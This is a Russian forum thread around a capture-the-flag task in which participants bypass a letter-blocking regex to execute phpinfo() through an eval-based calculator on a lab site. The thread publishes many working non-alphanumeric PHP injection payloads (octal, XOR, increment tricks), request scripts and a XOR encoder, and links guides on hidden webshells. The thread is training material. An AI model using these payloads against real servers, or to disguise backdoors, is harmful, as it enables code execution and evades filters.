Просмотр полной версии : Task #2
joelblack
05.01.2019, 18:24
Новогодние праздники подходят к концу.Времени для отдыха было вполне достаточно,поэтому предлагаю начать возвращаться к работе с небольшой разминки, а именно с решения данного таска.
Задание:
Выполнить функцию phpinfo() на тестовой площадке http://task2.antichat.com (http://task2.antichat.com/)
Кодскрипта на этот раз необходимопоискать.
Сроки:
две недели.
Правила простые, они исторически сложились на площадках античата и рдота:
В теме не флудим, подсказки разрешены только от ТС, ответы присылаем в ПМ.
Ответом будет считаться запрос, который покажет результат выполнения функции phpinfo()
После закрытия задания выкладываются прохождения.
В первый пост будет добавлена таблица результатов.
===
Всем приятного прохождения
===
Кому нужна дополнительно репутация - отпишите в теме "Прошел",что бы было удобно ее проставлять
===
Прошло чуть больше недели,многие решили таск,кто то решил несколькими вариантами, некоторые написали свои средства автоматизации.Все молодцы. Буквально вчера @ZodiaX (https://antichat.live/members/84750/) предложил интересное дополнение к задаче,на самый короткий input при регулярке [A-Za-z0-9`].Мне показалась идея интересной, поэтому предлагаю не много подумать и поучаствовать в этой "Подзадаче".
Решения:
@ZodiaX (https://antichat.live/members/84750/)
?_=phpinfo&__=5
$__=("#"^"|").(";"^"|").(">"^"{").("{"^"/");${$__}[_](${$__}[__]);
@Dimionx (https://antichat.live/members/64324/)
?_=phpinfo
${"_".(";"^"|").(">"^"{").("{"^"/")}[_]()
${"$;>{"^"{|{/"}[_]()
===
Прошли:
@cat1vo (https://antichat.live/members/94094/)
@OneManTeam (https://antichat.live/members/330370/)
@crabovwik (https://antichat.live/members/329106/)
@xmp (https://antichat.live/members/330291/)
@Gorbachev (https://antichat.live/members/300636/)
@=HALK= (https://antichat.live/members/67039/)
@D3N (https://antichat.live/members/330007/)
@oleg_1va (https://antichat.live/members/330004/)
@l1ght (https://antichat.live/members/30257/)
@monotrue (https://antichat.live/members/331161/)
@dais (https://antichat.live/members/2709/)
@MichelleBoxing (https://antichat.live/members/328947/)
@b3 (https://antichat.live/members/2674/)
@grellario (https://antichat.live/members/330316/)
@Franky_T (https://antichat.live/members/328754/)
@redscout (https://antichat.live/members/289016/)
@grimnir (https://antichat.live/members/197111/)
@qwaszx000 (https://antichat.live/members/316705/)
@Jerri (https://antichat.live/members/90760/)
@rudi (https://antichat.live/members/126663/)
@PCD (https://antichat.live/members/331174/)
@Shubka75 (https://antichat.live/members/272853/)
@unstppbl (https://antichat.live/members/328941/)
@Deathdreams (https://antichat.live/members/67649/)
@Alaich (https://antichat.live/members/274334/)
@danilkib95 (https://antichat.live/members/329994/)
@Stepan999 (https://antichat.live/members/330429/)
@Coost (https://antichat.live/members/305856/)
@WockeeZz (https://antichat.live/members/329992/)
@to the moon (https://antichat.live/members/330601/)
@VentaL74 (https://antichat.live/members/151784/)
@Cybersteger (https://antichat.live/members/99929/)
@sinusu (https://antichat.live/members/330009/)
@GoldJoker (https://antichat.live/members/114687/)
@Dimionx (https://antichat.live/members/64324/)
@topthing (https://antichat.live/members/330660/)
Прохождения (https://antichat.live/threads/467805/page-4/)
Пройдено! Не стандартно, интересно, жду еще
OneManTeam
05.01.2019, 20:54
Done
crabovwik
05.01.2019, 22:44
Спасибо! Готово
Тот_самый_Щуп
05.01.2019, 23:39
Прошел. Изи таск, но именно такими они и должны быть, минимум кода, и максимум сосредоточенности на конкретной задаче. Экономит время, а это важно.
Должно быть как минимум 2 варианта, а там может даже и три. 1 очевидный, около второго топчусь.
АП, прошел 2 варианта, думаю что есть 3й
↑ (https://antichat.live/posts/4275163/)
Должно быть как минимум 2 варианта, а там может даже и три. 1 очевидный, около второго топчусь.
Один из этих вариантов "наркоманский"
Таск интересный, прошёл
oleg_1va
06.01.2019, 00:56
Прошел ,интересный таск)
xakepok777
06.01.2019, 01:06
не знаю как(
RedHazard
06.01.2019, 02:39
Все такие гуру, быстро прошли
Код то я нашёл за секунду, вроде вижу что надо обойти, но пока не знаю как. Для нуба сложновато.
MichelleBoxing
06.01.2019, 12:13
прошел
BadScrIPt
06.01.2019, 14:15
Таск интересный, но для ламеров как я сложный, так что ждем решения через 2 недельки
↑ (https://antichat.live/posts/4275284/)
Раньше школьники домашнее задание просили решать, сейчас повзрослевшие будут на "стековерфлов" просить пройти таск)
Будущее поколение
Это всратые методы. Мне, к примеру, самому интересно докопаться до истины.
↑ (https://antichat.live/posts/4275252/)
Таск интересный, но для ламеров как я сложный, так что ждем решения через 2 недельки
Тоже вариант.
Но можно чередовать попытки повтыкать и почитать чего-нибудь в тему, покурить маны.
Когда чтение помогает решить таск, то становится не такими уж и скучными.
А это задание хорошо еще и тем, что если нет в памяти нужного фокуса, его можно найти на php.net, причем где то в самом начале, где самые основы языка.
grellario
06.01.2019, 18:38
Прошёл.
BadScrIPt
06.01.2019, 19:33
↑ (https://antichat.live/posts/4275298/)
Тоже вариант.
Но можно чередовать попытки повтыкать и почитать чего-нибудь в тему, покурить маны.
Когда чтение помогает решить таск, то становится не такими уж и скучными.
А это задание хорошо еще и тем, что если нет в памяти нужного фокуса, его можно найти на php.net, причем где то в самом начале, где самые основы языка.
И так уже ищу инфу по этому поводу, в том числе и на php.net, но видимо очень не внимательный. Хотя хочется своим котелком доварить этот таск.
Franky_T
06.01.2019, 19:59
классный таск, спасибо)
но остались вопросы, будем ждать разных вариантов решений
Прошел. Интересный таск, спасибо!
redscout
06.01.2019, 22:27
Пройдено!
Octavian
06.01.2019, 22:30
Как то много New Member проходят видно сдают с разных аккаунтов чтоб накрутить на разных репу
Слушай, да кому нужна эта репутация?
Я с другого форума (эксп), услышал про таск! И прошел, потому что интересно! В отличии от тебя по личкам не прошу решений!
Пруф. http://prntscr.com/m3s411
Octavian
06.01.2019, 22:38
Я предположил
grellario
06.01.2019, 23:26
Оба таска очень крутые. Авторам большоей респект! Проходил с огромным удовльствием. Эдакая пост-праздничная разминка для мозга.
↑ (https://antichat.live/posts/4275344/)
Как то много New Member проходят видно сдают с разных аккаунтов чтоб накрутить на разных репу
Новый юзер это совсем не значит, что он новичок в знаниях.
По FAQ форума если ты не в торговом разделе, то репа большого значения не имеет.
Очень хорошо, что пришло много новых, грамотных ребят.
qwaszx000
07.01.2019, 01:04
Пройдено.
Благодарю за задание!
joelblack
07.01.2019, 02:38
Лимит на репу кончился, поэтому пока остальным кто решил проставить не могу.Завтра вам проставит либо @dooble (https://antichat.live/members/295866/) ,либо я, когда пройдет ограничение.
↑ (https://antichat.live/posts/4275346/)
И прошел, потому что интересно!
Однозначно уважуха и респект, и в репу +. Красава , что прошел.
Turanchocks_
07.01.2019, 03:55
↑ (https://antichat.live/posts/4275344/)
Как то много New Member проходят видно сдают с разных аккаунтов чтоб накрутить на разных репу
Тебя это так накаляет, друг - "минутка"?
↑ (https://antichat.live/posts/4275373/)
Лимит на репу кончился, поэтому пока остальным кто решил проставить не могу.Завтра вам проставит либо
@dooble (https://antichat.live/members/295866/)
,либо я, когда пройдет ограничение.
Небольшое дополнение, пояснение.
Плюсик в репу в заданиях (впрочем, как и в других разделах) не является чем-то обязательным, это просто оценка хорошо сделанной работы.
Сейчас "льем" в репу много и с удовольствием, плюсометы заклинивает, но это не девальвирует оценки, каждый балл в заданиях заслужен и его качество не вызывает сомнений.
Достаточно большое количество людей включились в задания, молодцы.
Радует приход на форум новых участников, да еще со скиллами.
Еще одним интересным делом стало больше.
Но дальше к репе будем относиться спокойнее и уж точно не как к обязаловке.
Octavian
07.01.2019, 11:31
↑ (https://antichat.live/posts/4275379/)
Тебя это так накаляет, друг - "минутка"?
Не я античат тоже люблю, хорошо что приходят новички, я не знал что таск разносили по форумам, такой активность давно небыло
Самое приятное, что старички входят в строй Аве @dooble (https://antichat.com/members/295866/)!
// UPD, для тех кто прошёл, есть, как минимум, 3 варианта, 2 из которых можно провернуть без буквенно-цифровых символов
BabaDook
07.01.2019, 19:17
↑ (https://antichat.live/posts/4275484/)
Самое приятное, что старички входят в строй
Аве @
dooble (https://antichat.com/members/295866/)
!
// UPD, для тех кто прошёл, есть, как минимум, 3 варианта, 2 из которых можно провернуть без буквенно-цифровых символов
А это уже супер интересно.
Octavian (https://antichat.live/members/267561/), всегда пиши ярбабину, он всегда поможет. Не изменяй ему.
delete. а то вдруг это подсказка. но тем не менее решения пока не нашел
crabovwik
07.01.2019, 20:16
@rudi (https://antichat.live/members/126663/) чувак, удали
↑ (https://antichat.live/posts/4275484/)
Самое приятное, что старички входят в строй
Аве @
dooble (https://antichat.com/members/295866/)
!
// UPD, для тех кто прошёл, есть, как минимум, 3 варианта, 2 из которых можно провернуть без буквенно-цифровых символов
Без цифровых символов пришлось пострадать малость))
↑ (https://antichat.live/posts/4275557/)
delete. а то вдруг это подсказка. но тем не менее решения пока не нашел
ЭТА МИНУС.
Все обсуждения, мысли догадки - строго после закрытия задания!
Флудить тоже не нужно, буду просто чистить топик.
о это же с рутми
понравилось прохождение с регой [a-zA-Z0-9`]
Done
Сделал первый вариант. Попробую еще поковырять... второй способ
Shubka75
08.01.2019, 04:26
Прошел
Deathdreams
08.01.2019, 14:45
Дошёл только самый тривиальный вариант, жду остальных, спасибо ТСу!
Переполнение буфера для preg_match свыше 100 000 символов не сработало, или это было исправлено или я не так что-то делаю.
Хотя это не просто переполнение буфера, это превышение лимита попыток рекурсии, например в php.ini файле есть такая настройка pcre.recursion_limit которая обычно равна 100 000.
Возможно я неправильно формировал строку для вызова рекурсивного поиска, надо почитать еще раз... про то как работает рекурсия в шаблонах
Deathdreams
08.01.2019, 15:28
↑ (https://antichat.live/posts/4275718/)
Переполнение буфера для preg_match свыше 100 000 символов не сработало, или это было исправлено или я не так что-то делаю.
Хотя это не просто переполнение буфера, это превышение лимита попыток рекурсии, например в php.ini файле есть такая настройка
pcre.recursion_limit
которая обычно равна 100 000.
Возможно я неправильно формировал строку для вызова рекурсивного поиска, надо почитать еще раз... про то как работает рекурсия в шаблонах
пытаешься выбить ногой открытую дверь
unstppbl
08.01.2019, 15:30
Прошёл.
Пока только два способа нашёл
DarkSeller
08.01.2019, 23:00
Прошел, 10 минут с учетом запуска бурпа)
Тот_самый_Щуп
09.01.2019, 00:24
↑ (https://antichat.live/posts/4275820/)
Прошел, 10 минут с учетом запуска бурпа)
Это тема! Я через Sqlmap крутил.
danilkib95
09.01.2019, 21:24
Mission complete !!!
Ребята, хватит проходить таск, не действуйте мне на нервы
cerber3000
09.01.2019, 23:48
↑ (https://antichat.live/posts/4276090/)
Ребята, хватит проходить таска, не действуйте мне на нервы
Сам уже трое суток сижу над решением таска, с короткими перерывами на пожрать/поспать. Главное не сдаваться.
https://i.ytimg.com/vi/O2KoAGRitO4/hqdefault.jpg
jakonda1001
09.01.2019, 23:48
Когда закончится?
joelblack
09.01.2019, 23:51
↑ (https://antichat.live/posts/4276123/)
Когда закончится?
Сроки 2 недели,с момента старта.
↑ (https://antichat.live/posts/4276160/)
У человека такая карьера была бы достойная, сначала в Level 8, потом глядишь и выше.
Он там уже был. "... не получилось, не фартануло" (с)
Stepan999
10.01.2019, 11:38
Готово.
WockeeZz
11.01.2019, 11:50
Прошел, спасибо за таск!
to the moon
11.01.2019, 12:41
Done
VentaL74
11.01.2019, 13:35
Done
GoldJoker
15.01.2019, 13:29
Прошел
joelblack
15.01.2019, 16:04
Обновил первый пост с таском. Добавлена небольшая подзадача.
Вот "в лоб" вижу решение на 16 символов, интересно, есть ли короче?
↑ (https://antichat.live/posts/4277567/)
Вот "в лоб" вижу решение на 16 символов, интересно, есть ли короче?
15 бро, пересчитай
Сократил решение до 21-го символа, но как ещё сократить хз
Кстати, шутка зашла, пересчитал, точно - 13 .
Но это, когда нагрузка делится get+post.
Есть подозрение что всю посылку можно уместить в input и сделать короче 16 символов.
?_=phpinfo
${"_".(";"^"|").(">"^"{").("{"^"/")}[_]()
Как это работает??
Можно более подробно объяснить???
${"_".(";"^"|").(">"^"{").("{"^"/")}[_]() - что тут происходит?
↑ (https://antichat.live/posts/4277705/)
Как это работает??
Можно более подробно объяснить???
${"_".(";"^"|").(">"^"{").("{"^"/")}[_]() - что тут происходит?
Объяснения будут во время закрытия задания, или чуть позже.
BabaDook
16.01.2019, 20:28
↑ (https://antichat.live/posts/4277705/)
Как это работает??
Можно более подробно объяснить???
${"_".(";"^"|").(">"^"{").("{"^"/")}[_]() - что тут происходит?
XOR
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
↑ (https://antichat.live/posts/4277705/)
Как это работает??
Можно более подробно объяснить???
${"_".(";"^"|").(">"^"{").("{"^"/")}[_]() - что тут происходит?
http://www.thespanner.co.uk/2012/08/21/php-nonalpha-tutorial/
http://www.businessinfo.co.uk/labs/talk/Nonalpha.pdf
https://sinister.ly/Thread-How-To-Write-Nonalphanumeric-PHP-Backdoors
topthing
17.01.2019, 02:13
done/23chr
joelblack
17.01.2019, 15:24
В связи с тем,что активность последние дни была практически нулевой - мной было принято решение не много отклониться от правил, но в целом сохранить общую концепцию.Так как решения по таску 2 перестали присылать я решил сфокусироваться на активной аудитории, которая решила таск 2 и начала думать как можно решить другими способами, в том числе самым коротким вариантом.В связи с чем я закрываю основную часть заданияно продолжу принимать мини-задачу до субботы.Что касается "Вот же решение - кому то халявная репа". С момента, как я стал выкладывать короткие варианты - мне прислали только1решение таска и оно было абсолютно другим,поэтому халявы тут нет и не будет.Так же парни, которые писали "Прошел" и не присылали пруфы и которым ставили репутацию - остались без нее. Простите, но я не верю на слово.Что касается решений и их разбора.Этим я займусь в выходные,опубликую все ваши решения,скрипты, которые вы присылали, а так же сделаю разбор некоторых вариантов решения.
joelblack
20.01.2019, 02:39
С момента запуска второго таска прошло 2 недели, а это значит самое время подвести итоги и закрыть все задания.Логи показывают что активность есть, есть интерес к решению задач не очевидными способами.Это очень здорово,все кто решал - молодцы.Все кто решал и по каким то причинам не смог решить - не стоит расстраиваться.Будут еще задачи где вы сможете проявить себя.Мы стараемся реализовывать задачи таким образом,что бы вы научились смотреть на код несколько иначе,чем вы смотрите сейчас,учились правильно искать нужную информацию и применять в своих целях. Уверен, спустя некоторое время вы эти и последующие задачи будете решать играючи.
Теперь что касается содержания данного поста.Первая часть будет посвящена разбору некоторых возможных вариантов решения.Я позволил себе некоторую вольность и условно разделил все решения на 2 вида:
С цифрами
Без цифр
Поэтому я распишу один элементарный способ решения с цифрами и пару способов без них.Когда вы поймете принцип - вам будет не сложно разобраться со всеми остальными вариантами. Во второй части будут ваши решения/программы и другой доп.материал, который вы мне скинули.
Итак.Заходим на http://task2.antichat.com и первое что бросается в глаза это форма и ее название. Из этого делаем вывод, что мы имеем калькулятор и input для ввода данных. Пробуем ввести 1 + 3 и получаем как и ожидалось 4. Пробуем ввести abc и получаем "Hacker Detected!!!". Картина постепенно вырисовывается. Пробуем посмотреть исходный код страницы в надежде получить какую либо доп.информацию.В итоге обнаруживаем ссылку на сорцы:
Source Code -->
Отлично, проходим по ссылке и видим следующее:
Evil Calculator
Result';
ev al('print '.$_POST['input'].";");
pr int'';
}
else
echo"Hacker Detected!!!";
}
?>
Source Code -->
Уже что то.Видим eval и видимpreg_match. Понимаем, что здесь классическое RCE и начинаем думать как можно обойти preg_match, который нам напрямую запрещает использовать алфавит.На помощь приходит документация по php. Так как мы работаем со строками,есть смысл заглянуть в документацию по строкам php и посмотреть, какие возможности они нам предоставляют.Заходим в документацию: http://php.net/manual/ru/language.types.string.php и начинаем ее изучать. Листаем не много до"Управляющие последовательности"и видим следующее:
\[0-7]{1,3} последовательность символов, соответствующая регулярному выражению символа в восьмеричной системе счисления, который молча переполняется, чтобы поместиться в байт (т.е. "\400" === "\000")
Смотрим в регулярку и понимаем, что слеш вполне допустим,цифры,так как это калькулятор тоже. Ну и остается дело за малым.Можем руками, можем через сторонние ресурсы, например, http://www.unit-conversion.info/texttools/octal/ перевести "phpinfo" в oct. Дальше,все что нам остается это добавить () и послать запрос.Итоговая конструкция будет выглядеть так:
.SpoilerTarget" type="button">Spoiler: Решение
"\160\150\160\151\156\146\157"()
В конечном итоге получаем вывод функции phpinfo().
Теперь разберем пару вариантов без цифр. В php инкремент работает не только на цифрах,но и на буквах, следовательно такой код имеет место быть:
.SpoilerTarget" type="button">Spoiler: Решение
[PHP]
[COLOR="#0000BB"]$_= [];
$_=@"$_";
$_=$_['!'=='@'];
$__=$_;
$___=$_;
$____=$_;
$______=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_ _++;$__++;$__++;$__++;$__++;$__++;$__++;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$____=$___;$____++;
$______++;$______++;$______++;$______++;$______++;
$_____=$____;$_____++;$_____++;$_____++;$_____++;$ _____++;
$_______=$_____;$_______++;
$__=$__.$___.$__.$____.$_____.$______.$_______;
$__();
Вариант с XOR разобран детально здесь:https://sinister.ly/Thread-How-To-Write-Nonalphanumeric-PHP-Backdoors . Если вкратце, то нам нужно найти такую комбинацию из двух строк,результатом XOR которых будет нужная буква:
var_dump('^'^'.');//p
Вот пример решения:
.SpoilerTarget" type="button">Spoiler: Решение
$_[COLOR="#007700"]=('^'^'.').('('^'@').('^'^'.').(')'^'@').('.'^'@') .('='^'[').('/'^'@');${$_()}
Крайне сложно все охватить в одном посте, поэтому тем, кто захочет копнуть глубже, или рассмотреть варианты с $_GET например, то если загуглитьphp bypass alphaи/илиnon-alphanumeric php codeвы найдете ответы на все интересующие вас вопросы. Теперь перейдем к решениям:
.SpoilerTarget" type="button">Spoiler: Решения TASK2
@l1ght (https://antichat.live/members/30257/)
↑ (https://antichat.live)
$__[]='';$_="".$__;$_0=$_[3];$_0++;$_0++;$_0++;$_0++;$_0++;$_6=$_0;$_0++;$_0++ ;$_2=$_0;$_0++;$_4=$_0;$_0++;$_0++;$_0++;$_0++;$_0 ++;$_5=$_0;$_0++;$_7=$_0;$_0++;$_1=$_3=$_0;$_8=$_1 .$_2.$_3.$_4.$_5.$_6.$_7;$_8()
↑ (https://antichat.live)
input=1;$_="\160\150\160\151\156\146\157";$_()
↑ (https://antichat.live)
${~"%a0%b8%ba%ab"}[%aa]() ?%aa=phpinfo
@monotrue (https://antichat.live/members/331161/)
↑ (https://antichat.live)
""; $пхпинфо="\160\150\160\151\156\146\157"; $пхпинфо()
@cat1vo (https://antichat.live/members/94094/)
↑ (https://antichat.live)
https://imgur.com/a/mQYvw87
↑ (https://antichat.live)
1. [a-zA-Z`] - ${"\160\150\160\151\156\146\157"()}
2. [a-zA-Z0-9`] - $_=('^'^'.').('('^'@').('^'^'.').(')'^'@').('.'^'@ ').('='^'[').('/'^'@');${$_()}
@OneManTeam (https://antichat.live/members/330370/)
↑ (https://antichat.live)
1;
$__++;
$__=$__.[];
$_______________++;
$___=$__[$_______________++];
$____= $___;
$____=$____++;$____++;$____++;$____++;$____++;$___ _++;$____++;$____++;$____++;$____++;$____++;$____+ +;$____++;$____++;$____++;$____++;
$_____=$___;
$_____=$_____++;$_____++;$_____++;$_____++;$_____+ +;$_____++;$_____++;$_____++;
$______=$___;
$______=$______++;$______++;$______++;$______++;$_ _____++;$______++;$______++;$______++;$______++;
$_______=$___;
$_______=$_______++;$_______++;$_______++;$_______ ++;$_______++;$_______++;$_______++;$_______++;$__ _____++;$_______++;$_______++;$_______++;$_______+ +;$_______++;
$________=$___;
$________=$________++;$________++;$________++;$___ _____++;$________++;$________++;
$_________=$___;
$_________=$_________++;$_________++;$_________++; $_________++;$_________++;$_________++;$_________+ +;$_________++;$_________++;$_________++;$________ _++;$_________++;$_________++;$_________++;$______ ___++;
$__________=$____.$_____.$____.$______.$_______.$_ _______.$_________;
$__________();
@crabovwik (https://antichat.live/members/329106/)
↑ (https://antichat.live)
1 + 1;"\160\150\160\151\156\146\157"();
@=HALK= (https://antichat.live/members/67039/)
↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()
@oleg_1va (https://antichat.live/members/330004/)
↑ (https://antichat.live)
$_="\160\162\151\156\164\137\162";
$__="\160\150\160\151\156\146\157";
$_($__());
@MichelleBoxing (https://antichat.live/members/328947/)
↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()
@Gorbachev (https://antichat.live/members/300636/)
↑ (https://antichat.live)
"";$похек="\160\150\160\151\156\146\157";$похек()
@dais (https://antichat.live/members/2709/)
↑ (https://antichat.live)
$_="\160\150\160\151\156\146\157";$_();
↑ (https://antichat.live)
$__
=(
$_
^
$__
);
$__
++;
$__
++;
$__
++;
$_
=[];
$_
=
"
$_
"
;
$_
=
$_
[
$__
];
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$____
();
@b3 (https://antichat.live/members/2674/)
↑ (https://antichat.live)
"\160\150\160\151\156\146\157"();
@Franky_T (https://antichat.live/members/328754/)
↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()
@xmp (https://antichat.live/members/330291/)
↑ (https://antichat.live)
$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_ _++;$__++;$__++;$__++;$__++;$__++;$__++;
$___=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_ _++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_ _++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_ _++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$_=$$____;
$___();
↑ (https://antichat.live)
"\160\150\160\151\156\146\157"();
@qwaszx000 (https://antichat.live/members/316705/)
↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()
@grimnir (https://antichat.live/members/197111/)
↑ (https://antichat.live)
$_=('^'^'.').('('^'@').('^'^'.').(')'^'@').('.'^'@ ').('='^'[').('/'^'@');${$_()}
@redscout (https://antichat.live/members/289016/)
↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()
↑ (https://antichat.live)
"\160\162\151\156\164\137\162"("\147\145\164\137\144\145\146\151\156\145\144\137\1 46\165\156\143\164\151\157\156\163"()["\151\156\164\145\162\156\141\154"][383]())
@Jerri (https://antichat.live/members/90760/)
↑ (https://antichat.live)
import requests r = requests.post("
http://task.antichat.com:10002/
", data={"input": '$_ = \"\\160\\150\\160\\151\\156\\146\\157\"()'}) print(r.content)
↑ (https://antichat.live)
import requests data={"input": '$_ = \"\\143\\150\\162\"; $___ = $_(112).$_(104).$_(112).$_(105).$_(110).$_(102).$_ (111); $___()'} r = requests.post("
http://task.antichat.com:10002/
", data=data)
↑ (https://antichat.live)
import requests com = "phpinfo" arg = "-1" data={"input": '$_ = \"_\\120\\117\\123\\124\"; $__ = ${$_}; $__[23]($__[24]);', 23: com, 24: arg} r = requests.post("
http://task.antichat.com:10002/
", data=data) print(r.content)
@rudi (https://antichat.live/members/126663/)
↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()
@Shubka75 (https://antichat.live/members/272853/)
↑ (https://antichat.live)
http://task.antichat.com:10002/index.php?0=phpinfo
@$_++;$__ = '|'^'#';$__ .= '{'^""^'{';$__ .= "/"^"{";${$__}[!$_]();
@Deathdreams (https://antichat.live/members/67649/)
↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()
@Alaich (https://antichat.live/members/274334/)
↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()
@unstppbl (https://antichat.live/members/328941/)
[QUOTE="unstppbl"]
↑ (https://antichat.live)
http://task.antichat.com:10002/?_=phpinfo
'';$_="{";$_=($_^";").($_^"/");?>;").($_^"/");?>
Так же хочу отметить отдельно @D3N (https://antichat.live/members/330007/) . Он решил написать "Генератор-Переводчик".Выкладываю его здесь,вдруг кому пригодится.
[PHP]
[COLOR="#000000"][COLOR="#0000BB"]';
$arr[] ='?';
$arr[] ='@';
$arr[] ='[';
$arr[] =']';
$arr[] ='^';
$arr[] ='_';
$arr[] ='`';
$arr[] ='{';
$arr[] ='|';
$arr[] ='}';
$arr[] ='~';
$arr[] ='`';
$arr[] ='';
$arr[] ='‚';
$arr[] ='ƒ';
$arr[] ='„';
$arr[] ='…';
$arr[] ='†';
$arr[] ='‡';
$arr[] ='ˆ';
$arr[] ='‰';
$arr[] ='Š';
$arr[] ='‹';
$arr[] ='Œ';
$arr[] ='';
$arr[] ='Ž';
$arr[] ='';
$arr[] ='';
$arr[] ='‘';
$arr[] ='’';
$arr[] ='“';
$arr[] ='”';
$arr[] ='•';
$arr[] ='–';
$arr[] ='—';
$arr[] ='˜';
$arr[] ='™';
$arr[] ='š';
$arr[] ='›';
$arr[] ='œ';
$arr[] ='';
$arr[] ='ž';
$arr[] ='Ÿ';
$arr[] ='¡';
$arr[] ='¢';
$arr[] ='£';
$arr[] ='¤';
$arr[] ='¥';
$arr[] ='¦';
$arr[] ='§';
$arr[] ='¨';
$arr[] ='©';
$arr[] ='ª';
$arr[] ='«';
$arr[] ='¬';
$arr[] ='%';
$arr[] ='®';
$arr[] ='¯';
$arr[] ='°';
$arr[] ='±';
$arr[] ='²';
$arr[] ='³';
$arr[] ='´';
$arr[] ='µ';
$arr[] ='¶';
$arr[] ='·';
$arr[] ='¸';
$arr[] ='¹';
$arr[] ='º';
$arr[] ='»';
$arr[] ='¼';
$arr[] ='½';
$arr[] ='¾';
$arr[] ='¿';
$arr[] ='À';
$arr[] ='Á';
$arr[] ='Â';
$arr[] ='Ã';
$arr[] ='Ä';
$arr[] ='Å';
$arr[] ='Æ';
$arr[] ='Ç';
$arr[] ='È';
$arr[] ='É';
$arr[] ='Ê';
$arr[] ='Ë';
$arr[] ='Ì';
$arr[] ='Í';
$arr[] ='Î';
$arr[] ='Ï';
$arr[] ='Ð';
$arr[] ='Ñ';
$arr[] ='Ò';
$arr[] ='Ó';
$arr[] ='Ô';
$arr[] ='Õ';
$arr[] ='Ö';
$arr[] ='×';
$arr[] ='Ø';
$arr[] ='Ù';
$arr[] ='Ú';
$arr[] ='Û';
$arr[] ='Ü';
$arr[] ='Ý';
$arr[] ='Þ';
$arr[] ='ß';
$arr[] ='à';
$arr[] ='á';
$arr[] ='â';
$arr[] ='ã';
$arr[] ='ä';
$arr[] ='å';
$arr[] ='æ';
$arr[] ='ç';
$arr[] ='è';
$arr[] ='é';
$arr[] ='ê';
$arr[] ='ë';
$arr[] ='ì';
$arr[] ='í';
$arr[] ='î';
$arr[] ='ï';
$arr[] ='ð';
$arr[] ='ñ';
$arr[] ='ò';
$arr[] ='ó';
$arr[] ='ô';
$arr[] ='õ';
$arr[] ='ö';
$arr[] ='÷';
$arr[] ='ø';
$arr[] ='ù';
$arr[] ='ú';
$arr[] ='û';
$arr[] ='ü';
$arr[] ='ý';
$arr[] ='þ';
$arr[] ='ÿ';
// Разрешенные для перевода символы.
$cap_letters[] ='A';
$cap_letters[] ='B';
$cap_letters[] ='C';
$cap_letters[] ='D';
$cap_letters[] ='E';
$cap_letters[] ='F';
$cap_letters[] ='G';
$cap_letters[] ='H';
$cap_letters[] ='I';
$cap_letters[] ='J';
$cap_letters[] ='K';
$cap_letters[] ='L';
$cap_letters[] ='M';
$cap_letters[] ='N';
$cap_letters[] ='O';
$cap_letters[] ='P';
$cap_letters[] ='Q';
$cap_letters[] ='R';
$cap_letters[] ='S';
$cap_letters[] ='T';
$cap_letters[] ='U';
$cap_letters[] ='V';
$cap_letters[] ='W';
$cap_letters[] ='X';
$cap_letters[] ='Y';
$cap_letters[] ='Z';
$letters[] ='a';
$letters[] ='b';
$letters[] ='c';
$letters[] ='d';
$letters[] ='e';
$letters[] ='f';
$letters[] ='g';
$letters[] ='h';
$letters[] ='i';
$letters[] ='j';
$letters[] ='k';
$letters[] ='l';
$letters[] ='m';
$letters[] ='n';
$letters[] ='o';
$letters[] ='p';
$letters[] ='q';
$letters[] ='r';
$letters[] ='s';
$letters[] ='t';
$letters[] ='u';
$letters[] ='v';
$letters[] ='w';
$letters[] ='x';
$letters[] ='y';
$letters[] ='z';
$xors= array();
for ($i=0;$i$arr[$i] ^$arr[$j],'x1'=>$arr[$i],'x2'=>$arr[$j]);
$xors[] =$temp;
}
}
}
// фраза которую нужно "перевести"
$command="phpinfo";
$comm_array=str_split($command);
$result="";
for ($j=0;$j!
l1ght said:
